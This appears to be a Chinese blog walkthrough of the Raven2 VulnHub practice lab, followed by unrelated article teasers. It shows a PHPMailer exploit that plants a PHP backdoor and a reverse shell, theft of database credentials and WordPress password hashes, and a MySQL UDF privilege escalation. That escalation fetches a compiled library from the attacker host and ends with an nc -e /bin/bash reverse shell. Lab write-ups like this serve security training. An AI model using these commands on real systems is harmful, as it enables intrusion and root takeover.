【Raven2靶场渗透】

devtools/2024/9/20 3:54:32/ 标签: 网络安全, web安全, vulnhub, 靶场, 渗透

文章目录

一、IP获取

二、信息收集

三、Flag1

四、漏洞利用

五、Flag2

六、Flag3

七、MSF UDF提权

八、CVE漏洞本地提权


一、IP获取

Kali IP:192.168.78.128

靶机IP:192.168.78.178

二、信息收集

端口和服务探测:

nmap  -sV -p-  192.168.78.178

开放了四个端口22 80 111 44469

目录与文件探测:

dirsearch -u http://192.168.78.178

探测到了一些文件与目录,尝试访问一下

http://192.168.78.178/vendor/

三、Flag1

在/vendor目录下找到了一个flag

http://192.168.78.178/vendor/PATH

发现一个登录页面

http://192.168.78.178/wordpress/wp-login.php

读/vendor/目录下的readme文件可以看到有效信息:PHPMailer,继续查看version文件可以看到版本5.2.16

总结得到 PHPMailer 5.2.16, 我们直接去搜索对应的exp

四、漏洞利用

searchsploit 40974

locate php/webapps/40974.py 

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
需要针对PHPMailer修改参数:
41行:改下地址:http://192.168.78.178/contact.php
42行:后门名称:/hp.php
44行:改下回弹的IP和端口  192.168.78.128  6666
47行:改下写入shell的目录:/var/www/html/hp.php

执行exp

python3 40974.py

访问http://192.168.78.178/contact.php,此时就会生成后门文件hp.php
本地开启监听:nc -vlnp 6666
访问:http://192.168.78.178/hp.php
获得反弹shell!
python -c 'import pty;pty.spawn("/bin/bash")'

找寻flag

find / -name flag* 2>/dev/null

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

五、Flag2

发现两个flag!读取:

cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}

六、Flag3

访问:

http://192.168.78.178/wordpress/wp-content/uploads/2018/11/flag3.png

获得flag3!

在flag3目录下看到了wordpress目录,进入目录可查看配置文件wp-config.php

获取到了数据库信息
User:root
Password:R@v3nSecurity
ps aux | grep root --查看数据库进程信息
dpkg -l | grep mysql --查看历史安装包版本

历史版本5.5.6,并且是root权限启动的,此时可以考虑是否能用mysql udf提权方法

连接数据库
mysql -uroot -pR@v3nSecurity
select version();  ---查看版本
show databases;
use wordpress   --进入wordpress数据库
show tables;
select * from wp_users;  --查看用户信息
看到两个用户和加密的密码
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:$P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.

查看是否有写入权限

show global variables like 'secure%';

七、MSF UDF提权

注:mysql udf提权说明
MSF UDF提权的前提条件:
1、获取mysql控制权限:知道mysql用户名和密码,并且可以远程登录
2、Mysql具有写入权限:secure_file_prive的值为空1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录:
show variables like '%plugin%';

我们找到了插件文件夹的位置是/usr/lib/mysql/plugin/

另外一个条件是要能远程登陆,我们用这个命令来看一下是否可以

use mysql; 
select user,host from user;

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

八、CVE漏洞本地提权

searchsploit udf

locate linux/local/1518.c 
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root
编译
gcc -g -c 1518.c   ---GCC编译.o文件
gcc -g -shared -o hp.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
本机开启htt服务,靶机下载编译后的文件
python3 -m http.server 8000
wget http://192.168.78.128:8000/hp.so

进入mysql数据库创建数据表并插入数据

mysql -uroot -pR@v3nSecurity
show databases;
use mysql
select database();
进入数据库创建数据表dayu:create table hp(line blob);
插入数据文件:insert into hp values(load_file('/tmp/hp.so'));

hp表成功插入二进制数据,然后利用dumpfile函数把文件导出

outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数:

select * from hp into dumpfile '/usr/lib/mysql/plugin/hp.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system returns integer soname 'hp.so';

查看以下创建的函数:

select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select do_system('chmod u+s /usr/bin/find');

即创造提权条件,suid位提权,执行find命令,使用find执行 shell
 

find dayu -exec "id" \;
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}

或者也可以直接利用函数反弹shell

select do_system('nc -nv 192.168.78.128 6667 -e /bin/bash');

完成!



http://www.ppmy.cn/devtools/90296.html

相关文章

代码随想录算法训练营 | 回溯算法part02

39. 组合总和 39. 组合总和 class Solution {vector<vector<int>> res;vector<int> temp; public:void backtracing(vector<int>& candidates, int startIndex, int target, int sum){if (sum > target) {return;}if (sum target) {res.push…

理解 Objective-C 中 +load 方法的执行顺序

在 Objective-C 中&#xff0c;load 方法是在类或分类&#xff08;category&#xff09;被加载到内存时调用的。它的执行顺序非常严格&#xff0c;并且在应用启动过程中可能会导致一些令人困惑的行为。理解 load 方法的执行顺序对调试和控制应用的初始化过程非常重要。 load 方…

Studio One6中文版本2024年绝对值得你的拥有音乐制作神器!

Studio One6.6是当今音乐制作界的一款热门软件&#xff0c;其强大的功能和易用性让它在众多DAW&#xff08;数字音频工作站&#xff09;中脱颖而出。在这个充满竞争的市场&#xff0c;Studio One6.6凭借其独特的特点&#xff0c;吸引了一大批忠实用户。 今天&#xff0c;我们就…

鸿蒙应用服务开发【钱包服务(ArkTS)】

介绍 基于Stage模型&#xff0c;提供钱包交通卡和Pass卡的开卡、预览卡、查询卡信息、更新卡片信息、删除卡片、初始化钱包环境等功能。 效果预览 具体实现 交通卡 在hms.core.payment.walletTransitCard中定义了钱包交通卡接口API&#xff0c;示例接口如下&#xff1a; /*…

FFmpeg源码:avio_r8、avio_rl16、avio_rl24、avio_rl32、avio_rl64函数分析

一、引言 AVIOContext是FFmpeg&#xff08;本文演示用的FFmpeg源码版本为5.0.3&#xff09;中的字节流上下文结构体&#xff0c;用来管理输入输出数据。打开一个媒体文件的时候&#xff0c;需要先把数据从硬盘读到缓冲区&#xff0c;然后会用到AVIOContext中的如下成员&#x…

python字典

字典,字典是另一种可变容器模型&#xff0c;且可以存储任意类型对象 键 key:值 value&#xff0c;键值对&#xff0c;访问键可以获取它的值 ①通过下标访问元素 x{name:张三,position:Python工程师} print(x[name],x[position]) 张三 Python工程师 ②访问列表 singer{name:…

SQL注入(闯关游戏)

目录 关卡1 关卡2 关卡3 关卡4 关卡5 关卡6 关卡7 关卡8 关卡9 关卡10 关卡11 关卡12 关卡13 关卡14 关卡15 关卡16 关卡17 关卡18 关卡19 关卡20 关卡21 关卡22 关卡23 关卡24 关卡1 (联合查询) ?gid1 第一件事情就是逃脱单引号的控制——》为了闭…

传统CS网络的新生——基于2G网络的远程灌溉实现

概述&#xff1a;iphone 实现远程电话触发&#xff0c;实现灌溉绿植的一般方法 方法一&#xff1a; 远程电话触发&#xff0c;音频线左右声道会产生一个信号&#xff0c;可以在后端利用SR锁存器暂存信号&#xff0c;后级可以接相应的控制电路实现灌溉。 方法二&#xff1a; 同…

解决redis 缓存穿透 缓存击穿 小案例

普通查询 存在缓存穿透风险存在缓存击穿风险 controller package com.orchids.redisapply.controller;import com.orchids.redisapply.domain.po.Shop; import com.orchids.redisapply.service.IShopService; import io.swagger.annotations.Api; import io.swagger.annotat…

为什么有时候银行贷款审核会查大数据信用?

在申请银行贷款时&#xff0c;不少人会疑惑为何银行会深入审查申请人的大数据信用信息。这背后&#xff0c;其实是银行风险控制与精准决策的体现。 首先&#xff0c;大数据信用信用能全面反映申请人的信用状况 它不仅仅局限于传统的征信报告&#xff0c;还涵盖了消费行为、社交…

UI界面自动化测试-Selenium

Selenium工作原理 SeleniumAPI 定位元素 Selenium操作对象 **send_keys 在对象上模拟按键输入 ** clear 清除对象输入的文本内容 ** click 点击对象(无限制) submit 提交(用于form表单) ** getText() 用于获取元素的文本信息 getAttribute() 用于获取属性的值 quit 关闭…

babylonjs游戏3d引擎笔记

目录 介绍 安装与初始化 安装 引用 创建画布 创建各种变量 初始化画布与引擎 创建场景 相机 灯光 渲染场景 监听屏幕尺寸 按顺序执行函数即可 绘制图形 了解坐标方向 绘制线条 绘制正方体 绘制平面方形 绘制圆形 绘制三角形 绘制文字 绘制面板并添加背景…

C++四个连点器

左键C #include <windows.h> #include <stdio.h> #define KEYDOWN(vk_code) ((GetAsyncKeyState(vk_code) & 0x8000) ? 1 : 0) int main () {LOOP:if (KEYDOWN(C)) {register int a 0;mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);…

[最短路SPFA]--启动!!!!!

基础模板 #include<bits/stdc.h> #define ll long long #define fi first #define se second #define pb push_back #define PII pair<int,int > #define IOS ios::sync_with_stdio(false),cin.tie(0),cout.tie(0) using namespace std; const int N 1e610; int …

无人机通信技术及抗干扰

无人机信号传输原理主要依赖于无线通信技术&#xff0c;其核心是通过无线电波或其他无线电技术实现无人机与地面站或控制端之间的数据和控制指令的传输。具体来说&#xff0c;无人机信号传输涉及以下几个方面&#xff1a; 无线通信模块&#xff1a;无人机通常在电路板上搭载有多…

2024/8/4 汇川变频器低压产品分类选型

VF就是通过电压、频率控制 矢量就是通过开环&#xff08;svc&#xff09;和闭环&#xff08;fvc&#xff09; MD310、MD200 开环&#xff0c;不支持闭环&#xff0c;无法接编码器 290 、200s、280、都是VF控制

【无标题】基于域名的虚拟主机+vue项目

一&#xff0e;基于域名的虚拟主机 1.创建项目&#xff0c;用于部署在nginx中发布网络 2.在/qd目录下创建一个index.html [rootweb ~]# mkdir /qd [rootweb ~]# echo "wo shi qd" > /qd/index.html 将/qd目录中的资源发布出去 3.配置nginx.conf文件 [rootwe…

qt做的分页控件

介绍 qt做的分页控件 如何使用 创建 Pagination必须基于一个QWidget创建&#xff0c;否则会引发错误。 Pagination* pa new Pagination(QWidget*);设置总页数 Pagination需要设置一个总的页数&#xff0c;来初始化页码。 pa->SetTotalItem(count);设置可选的每页数量…

栈和队列——3.滑动窗口最大值

力扣题目链接 给定一个数组 nums&#xff0c;有一个大小为 k 的滑动窗口从数组的最左侧移动到数组的最右侧。你只可以看到在滑动窗口内的 k 个数字。滑动窗口每次只向右移动一位。返回滑动窗口中的最大值。 示例&#xff1a; 输入&#xff1a;nums[1,3,-1,-3,5,3,6,7],k 3 …

C语言基础题:硬币问题(C语言版)

1.题目描述 今有面值为 1、5、11 元的硬币各无限枚。 想要凑出 九 元&#xff0c;问需要的最少硬币数量。 2.输入格式 仅一行&#xff0c;一个正整数 n。 3.输出格式 仅一行&#xff0c;一个正整数&#xff0c;表示需要的硬币个数。 4.输入输出样例 1.输入1&#xff1a; 15 2…